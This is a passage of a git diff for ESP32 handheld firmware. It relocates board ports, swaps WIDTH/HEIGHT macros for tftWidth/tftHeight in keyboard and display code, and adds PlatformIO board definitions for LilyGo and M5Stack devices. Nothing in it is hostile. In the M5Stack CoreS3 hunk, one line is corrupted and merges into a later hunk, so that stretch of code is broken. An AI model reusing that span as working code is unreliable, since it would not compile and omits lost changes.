@@ -307,8 +311,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
int i=0;
@@ -326,12 +330,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -361,7 +365,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -377,7 +381,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -499,7 +503,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
@@ -527,7 +531,7 @@ void checkReboot() {
tft.setTextSize(1);
tft.setTextColor(TFT_RED, TFT_BLACK);
countDown = (millis() - time_count) / 1000 + 1;
- if(countDown<4) tft.drawCentreString("PWR OFF IN "+String(countDown)+"/3",WIDTH/2,12,1);
+ if(countDown<4) tft.drawCentreString("PWR OFF IN "+String(countDown)+"/3",tftWidth/2,12,1);
else {
tft.fillScreen(TFT_BLACK);
while(digitalRead(BK_BTN)==BTN_ACT);
@@ -540,7 +544,7 @@ void checkReboot() {
// Clear text after releasing the button
delay(30);
- tft.fillRect(60, 12, WIDTH - 60, tft.fontHeight(1), TFT_BLACK);
+ tft.fillRect(60, 12, tftWidth - 60, tft.fontHeight(1), TFT_BLACK);
}
#endif
}
diff --git a/boards/lilygo-t-embed.ini b/boards/lilygo-t-embed.ini
new file mode 100644
index 00000000..a5614402
--- /dev/null
+++ b/boards/lilygo-t-embed.ini
@@ -0,0 +1,24 @@
+[env:lilygo-t-embed]
+board = lilygo-t-embed
+board_build.partitions = custom_16Mb.csv
+build_src_filter =${env.build_src_filter} +<../boards/lilygo-t-embed-cc1101>
+build_flags =
+ ${env.build_flags}
+ -Iboards/lilygo-t-embed-cc1101
+ -Os
+ -DCORE_DEBUG_LEVEL=5
+ -DREDRAW_DELAY=1 # Used to improve navigation on menus for this device
+ -DMIC_SPM1423
+
+ ;Infrared Led default pin and state
+ -DIR_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
+ -DIR_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
+
+ ;Radio Frequency (one pin modules) pin setting
+ -DRF_TX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
+ -DRF_RX_PINS='{{"Pin 16", 16},{"Pin 17", 17}, {"Pin 43", 43}, {"Pin 44", 44}}'
+
+lib_deps =
+ ${env.lib_deps}
+ lewisxhe/XPowersLib @0.2.6
+ mathertel/RotaryEncoder @1.5.3
diff --git a/boards/lilygo-t-embed.json b/boards/lilygo-t-embed.json
new file mode 100644
index 00000000..d2ac291a
--- /dev/null
+++ b/boards/lilygo-t-embed.json
@@ -0,0 +1,64 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_16MB.csv",
+ "memory_type": "qio_opi"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DT_EMBED",
+ "-mfix-esp32-psram-cache-issue",
+ "-mfix-esp32-psram-cache-strategy=memw",
+ "-DBOARD_HAS_PSRAM",
+ "-DARDUINO_RUNNING_CORE=0",
+ "-DARDUINO_EVENT_RUNNING_CORE=0",
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_USB_CDC_ON_BOOT=1"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x239A",
+ "0x811B"
+ ],
+ [
+ "0x239A",
+ "0x011B"
+ ],
+ [
+ "0x239A",
+ "0x811C"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "bluetooth",
+ "wifi"
+ ],
+ "debug": {
+ "default_tool": "esp-builtin",
+ "onboard_tools": [
+ "esp-builtin"
+ ],
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "LilyGo T-Embed (16M Flash 8M QSPI PSRAM)",
+ "upload": {
+ "flash_size": "16MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 16777216,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "https://www.lilygo.cc",
+ "vendor": "LilyGo"
+}
diff --git a/ports/m5stack-cardputer/platformio.ini b/boards/m5stack-cardputer.ini
similarity index 90%
rename from ports/m5stack-cardputer/platformio.ini
rename to boards/m5stack-cardputer.ini
index 8a6dad60..59d4f487 100644
--- a/ports/m5stack-cardputer/platformio.ini
+++ b/boards/m5stack-cardputer.ini
@@ -9,18 +9,13 @@
; https://docs.platformio.org/page/projectconf.html
[env:m5stack-cardputer]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = m5stack-stamps3
-framework = arduino
+board = m5stack-cardputer
board_build.partitions = custom_8Mb.csv
-build_src_filter =${env.build_src_filter} +<../ports/m5stack-cardputer>
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-cardputer>
build_flags =
${env.build_flags}
- -Iports/m5stack-cardputer
+ -Iboards/m5stack-cardputer
-DCORE_DEBUG_LEVEL=5
- -DARDUINO_USB_CDC_ON_BOOT=1
-
- -DCARDPUTER=1
;Features Enabled
;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
@@ -92,8 +87,6 @@ build_flags =
;Screen Setup
-DHAS_SCREEN=1
-DROTATION=1
- -DWIDTH=240
- -DHEIGHT=135
-DBACKLIGHT=38
-DMINBRIGHT=160
diff --git a/boards/m5stack-cardputer.json b/boards/m5stack-cardputer.json
new file mode 100644
index 00000000..45e7d1d0
--- /dev/null
+++ b/boards/m5stack-cardputer.json
@@ -0,0 +1,48 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_8MB.csv"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DARDUINO_M5STACK_CARDPUTER",
+ "-DARDUINO_USB_CDC_ON_BOOT=1",
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_RUNNING_CORE=1",
+ "-DARDUINO_EVENT_RUNNING_CORE=1"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x303A",
+ "0x1001"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "bluetooth",
+ "wifi"
+ ],
+ "debug": {
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stack Cardputer",
+ "upload": {
+ "flash_size": "8MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 8388608,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "https://docs.m5stack.com/en/core/StampS3",
+ "vendor": "M5Stack"
+ }
\ No newline at end of file
diff --git a/ports/m5stack-cardputer/interface.cpp b/boards/m5stack-cardputer/interface.cpp
similarity index 96%
rename from ports/m5stack-cardputer/interface.cpp
rename to boards/m5stack-cardputer/interface.cpp
index 4905a80b..2f9dd734 100644
--- a/ports/m5stack-cardputer/interface.cpp
+++ b/boards/m5stack-cardputer/interface.cpp
@@ -54,12 +54,11 @@ int getBattery() {
** set brightness value
**********************************************************************/
void _setBrightness(uint8_t brightval) {
- if(brightval>100) brightval=100;
- if(brightval == 0){
- analogWrite(BACKLIGHT, brightval);
+ if(brightval == 0){
+ analogWrite(TFT_BL, brightval);
} else {
- int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 ));
- analogWrite(BACKLIGHT, bl);
+ int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 ));
+ analogWrite(TFT_BL, bl);
}
}
@@ -225,8 +224,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
int i=0;
@@ -244,12 +243,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -279,7 +278,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -295,7 +294,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -391,7 +390,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/ports/m5stack-core/platformio.ini b/boards/m5stack-core.ini
similarity index 84%
rename from ports/m5stack-core/platformio.ini
rename to boards/m5stack-core.ini
index 55ea1557..4c44e211 100644
--- a/ports/m5stack-core/platformio.ini
+++ b/boards/m5stack-core.ini
@@ -9,24 +9,15 @@
; https://docs.platformio.org/page/projectconf.html
[m5stack-core_base]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = m5stack-core-esp32
-framework = arduino
+board = m5stack-core
monitor_speed = 115200
board_build.partitions = custom_4Mb_full.csv
-build_src_filter =${env.build_src_filter} +<../ports/m5stack-core>
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-core>
build_flags =
${env.build_flags}
- -Iports/m5stack-core
+ -Iboards/m5stack-core
-DCORE_DEBUG_LEVEL=5
- -DM5STACK=1 ;key for new device,
- -DCORE=1 ;mykeyboard.cpp: need map buttons an/or touchscreen,
- ;display.cpp: need map battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
-
;Features Enabled
;FM Radio
;-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
@@ -93,8 +84,6 @@ build_flags =
;Screen Setup
-DHAS_SCREEN=1
-DROTATION=1
- -DWIDTH=320
- -DHEIGHT=220 ;240 - 50 for bottom margin
;-DBACKLIGHT=38
;-DMINBRIGHT=160
diff --git a/boards/m5stack-core.json b/boards/m5stack-core.json
new file mode 100644
index 00000000..dff39bbd
--- /dev/null
+++ b/boards/m5stack-core.json
@@ -0,0 +1,34 @@
+{
+ "build": {
+ "arduino":{
+ "ldscript": "esp32_out.ld"
+ },
+ "core": "esp32",
+ "extra_flags": ["-DARDUINO_M5STACK_CORE", "-DM5STACK"],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "mcu": "esp32",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "wifi",
+ "bluetooth",
+ "ethernet",
+ "can"
+ ],
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stack Core ESP32",
+ "upload": {
+ "flash_size": "4MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 4194304,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "http://www.m5stack.com",
+ "vendor": "M5Stack"
+ }
\ No newline at end of file
diff --git a/ports/m5stack-core/interface.cpp b/boards/m5stack-core/interface.cpp
similarity index 95%
rename from ports/m5stack-core/interface.cpp
rename to boards/m5stack-core/interface.cpp
index 02cf629a..0f7f6c30 100644
--- a/ports/m5stack-core/interface.cpp
+++ b/boards/m5stack-core/interface.cpp
@@ -204,8 +204,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
int i=0;
@@ -223,12 +223,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -258,7 +258,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -274,7 +274,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -382,7 +382,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/ports/m5stack-core2/platformio.ini b/boards/m5stack-core2.ini
similarity index 83%
rename from ports/m5stack-core2/platformio.ini
rename to boards/m5stack-core2.ini
index d8e28880..93ff51ea 100644
--- a/ports/m5stack-core2/platformio.ini
+++ b/boards/m5stack-core2.ini
@@ -9,10 +9,7 @@
; https://docs.platformio.org/page/projectconf.html
[env:m5stack-core2]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-;board = m5stick-c
board = m5stack-core2
-framework = arduino
monitor_speed = 115200
board_build.partitions = custom_16Mb.csv
board_build.f_flash = 40000000L
@@ -20,19 +17,12 @@ board_upload.flash_size = 16MB
board_upload.maximum_size = 16777216
;board_upload.maximum_ram_size=532480
;board_upload.maximum_ram_size=4521984
-build_src_filter =${env.build_src_filter} +<../ports/m5stack-core2>
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-core2>
build_flags =
${env.build_flags}
- -Iports/m5stack-core2
+ -Iboards/m5stack-core2
-DCORE_DEBUG_LEVEL=5
- -DM5STACK=1 ;key for new device,
- -DCORE2=1 ;mykeyboard.cpp: need map buttons an/or touchscreen,
- ;display.cpp: need map battery status value,
- ;settings.cpp: need map brighness control
- ;main.cpp: need set startup
- ;serialcmds.cpp: need set power off command
-
;Features Enabled
;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
;FM Radio
@@ -99,8 +89,6 @@ build_flags =
;Screen Setup
-DHAS_SCREEN=1
-DROTATION=1
- -DWIDTH=320
- -DHEIGHT=220 ;240 - 50 for bottom margin
;-DBACKLIGHT=38
;-DMINBRIGHT=160
diff --git a/boards/m5stack-core2.json b/boards/m5stack-core2.json
new file mode 100644
index 00000000..48b809e8
--- /dev/null
+++ b/boards/m5stack-core2.json
@@ -0,0 +1,41 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32_out.ld",
+ "partitions": "default_16MB.csv"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-mfix-esp32-psram-cache-issue",
+ "-mfix-esp32-psram-cache-strategy=memw",
+ "-DARDUINO_M5STACK_CORE2",
+ "-DM5STACK",
+ "-DBOARD_HAS_PSRAM"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "40000000L",
+ "flash_mode": "dio",
+ "mcu": "esp32",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "wifi",
+ "bluetooth",
+ "ethernet",
+ "can"
+ ],
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stack Core2",
+ "upload": {
+ "flash_size": "16MB",
+ "maximum_ram_size": 4521984,
+ "maximum_size": 16777216,
+ "require_upload_port": true,
+ "speed": 460800
+ },
+ "url": "http://www.m5stack.com",
+ "vendor": "M5Stack"
+}
diff --git a/ports/m5stack-core2/interface.cpp b/boards/m5stack-core2/interface.cpp
similarity index 95%
rename from ports/m5stack-core2/interface.cpp
rename to boards/m5stack-core2/interface.cpp
index 99a7a5d6..1465d95a 100644
--- a/ports/m5stack-core2/interface.cpp
+++ b/boards/m5stack-core2/interface.cpp
@@ -239,8 +239,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
int k=0;
@@ -289,7 +289,7 @@ String keyboard(String mytext, int maxSize, String msg) {
box_list[k].color = ~bruceConfig.bgColor;
box_list[k].x=159;
box_list[k].y=0;
- box_list[k].w=WIDTH-164;
+ box_list[k].w=tftWidth-164;
box_list[k].h=22;
k=0;
@@ -312,12 +312,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -347,7 +347,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -363,7 +363,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -420,7 +420,7 @@ String keyboard(String mytext, int maxSize, String msg) {
if (t.isPressed() || t.isHolding())
{
if (box_list[48].contain(t.x, t.y)) { break; } // Ok
- if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,WIDTH,HEIGHT-54,bruceConfig.bgColor); goto THIS_END; } // CAP
+ if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,tftWidth,tftHeight-54,bruceConfig.bgColor); goto THIS_END; } // CAP
if (box_list[50].contain(t.x, t.y)) goto DEL; // DEL
if (box_list[51].contain(t.x, t.y)) { mytext += box_list[51].key; goto ADD; } // SPACE
for(k=0;k<48;k++){
@@ -491,7 +491,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/boards/m5stack-cores3.ini b/boards/m5stack-cores3.ini
new file mode 100644
index 00000000..95d6fe73
--- /dev/null
+++ b/boards/m5stack-cores3.ini
@@ -0,0 +1,28 @@
+; PlatformIO Project Configuration File
+;
+; Build options: build flags, source filter
+; Upload options: custom upload port, speed and extra flags
+; Library options: dependencies, extra library storages
+; Advanced options: extra scripting
+;
+; Please visit documentation for the other options and examples
+; https://docs.platformio.org/page/projectconf.html
+
+[env:m5stack-cores3]
+board = m5stack-cores3
+monitor_speed = 115200
+board_build.partitions = custom_16Mb.csv
+board_upload.flash_size = 16MB
+board_upload.maximum_size = 16777216
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-cores3>
+build_flags =
+ ${env.build_flags}
+ -Os
+ -Iboards/m5stack-cores3
+ -DIR_TX_PINS='{{"M5 IR Mod", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
+ -DIR_RX_PINS='{{"M5 IR Mod", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
+ -DRF_TX_PINS='{{"M5 RF433T", GROVE_SDA}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
+ -DRF_RX_PINS='{{"M5 RF433R", GROVE_SCL}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
+lib_deps =
+ ${env.lib_deps}
+
diff --git a/boards/m5stack-cores3.json b/boards/m5stack-cores3.json
new file mode 100644
index 00000000..b5ad3b57
--- /dev/null
+++ b/boards/m5stack-cores3.json
@@ -0,0 +1,52 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32s3_out.ld",
+ "partitions": "default_16MB.csv"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-mfix-esp32-psram-cache-issue",
+ "-mfix-esp32-psram-cache-strategy=memw",
+ "-DARDUINO_M5STACK_CORES3",
+ "-DM5STACK",
+ "-DBOARD_HAS_PSRAM",
+ "-DARDUINO_USB_MODE=1",
+ "-DARDUINO_USB_CDC_ON_BOOT=1",
+ "-DARDUINO_RUNNING_CORE=1",
+ "-DARDUINO_EVENT_RUNNING_CORE=1"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "80000000L",
+ "flash_mode": "qio",
+ "hwids": [
+ [
+ "0x303A",
+ "0x8119"
+ ]
+ ],
+ "mcu": "esp32s3",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "bluetooth",
+ "wifi"
+ ],
+ "debug": {
+ "openocd_target": "esp32s3.cfg"
+ },
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stack CoreS3",
+ "upload": {
+ "flash_size": "16MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 16777216,
+ "require_upload_port": true,
+ "speed": 921600
+ },
+ "url": "https://docs.m5stack.com/en/core/CoreS3",
+ "vendor": "M5Stack"
+}
\ No newline at end of file
diff --git a/ports/m5stack-cores3/interface.cpp b/boards/m5stack-cores3/interface.cpp
similarity index 94%
rename from ports/m5stack-cores3/interface.cpp
rename to boards/m5stack-cores3/interface.cpp
index 0798d9f7..85f42dfb 100644
--- a/ports/m5stack-cores3/interface.cpp
+++ b/boards/m5stack-cores3/interface.cpp
@@ -43,19 +43,15 @@ void _setBrightness(uint8_t brightval) {
#define NEXT 2
#define ALL 3
bool menuPress(int bot) {
- //0 - prev
- //1 - Sel
- //2 - next
- //3 - any
- int terco=WIDTH/3;
+ int terco=tftWidth/3;
M5.update();
auto t = M5.Touch.getDetail();
if (t.isPressed() || t.isHolding()) {
- //if(bruceConfig.rotation==3) t.x = WIDTH-t.x;
- //else if (bruceConfig.rotation==1) t.y = (HEIGHT+20)-t.y;
- if(t.y>(HEIGHT) && (t.x>terco*bot && t.x(tftHeight) && (t.x>terco*bot && t.x19) {
@@ -381,7 +377,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -435,7 +431,7 @@ String keyboard(String mytext, int maxSize, String msg) {
{
if (box_list[48].contain(t.x, t.y)) { break; } // Ok
- if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,WIDTH,HEIGHT-54,bruceConfig.bgColor); goto THIS_END; } // CAP
+ if (box_list[49].contain(t.x, t.y)) { caps=!caps; tft.fillRect(0,54,tftWidth,tftHeight-54,bruceConfig.bgColor); goto THIS_END; } // CAP
if (box_list[50].contain(t.x, t.y)) goto DEL; // DEL
if (box_list[51].contain(t.x, t.y)) { mytext += box_list[51].key; goto ADD; } // SPACE
for(k=0;k<48;k++){
@@ -505,7 +501,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
diff --git a/ports/m5stack-cplus1_1/platformio.ini b/boards/m5stack-cplus1_1.ini
similarity index 92%
rename from ports/m5stack-cplus1_1/platformio.ini
rename to boards/m5stack-cplus1_1.ini
index d836e199..7282480c 100644
--- a/ports/m5stack-cplus1_1/platformio.ini
+++ b/boards/m5stack-cplus1_1.ini
@@ -9,16 +9,13 @@
; https://docs.platformio.org/page/projectconf.html
[env:m5stack-cplus1_1]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = m5stick-c
-framework = arduino
+board = m5stack-cplus1_1
board_build.partitions = custom_4Mb_full.csv
-build_src_filter =${env.build_src_filter} +<../ports/m5stack-cplus1_1>
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-cplus1_1>
build_flags =
${env.build_flags}
- -Iports/m5stack-cplus1_1
+ -Iboards/m5stack-cplus1_1
-Os
- -DSTICK_C_PLUS=1
;Features Enabled
;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
@@ -94,8 +91,6 @@ build_flags =
;Screen Setup
-DHAS_SCREEN=1
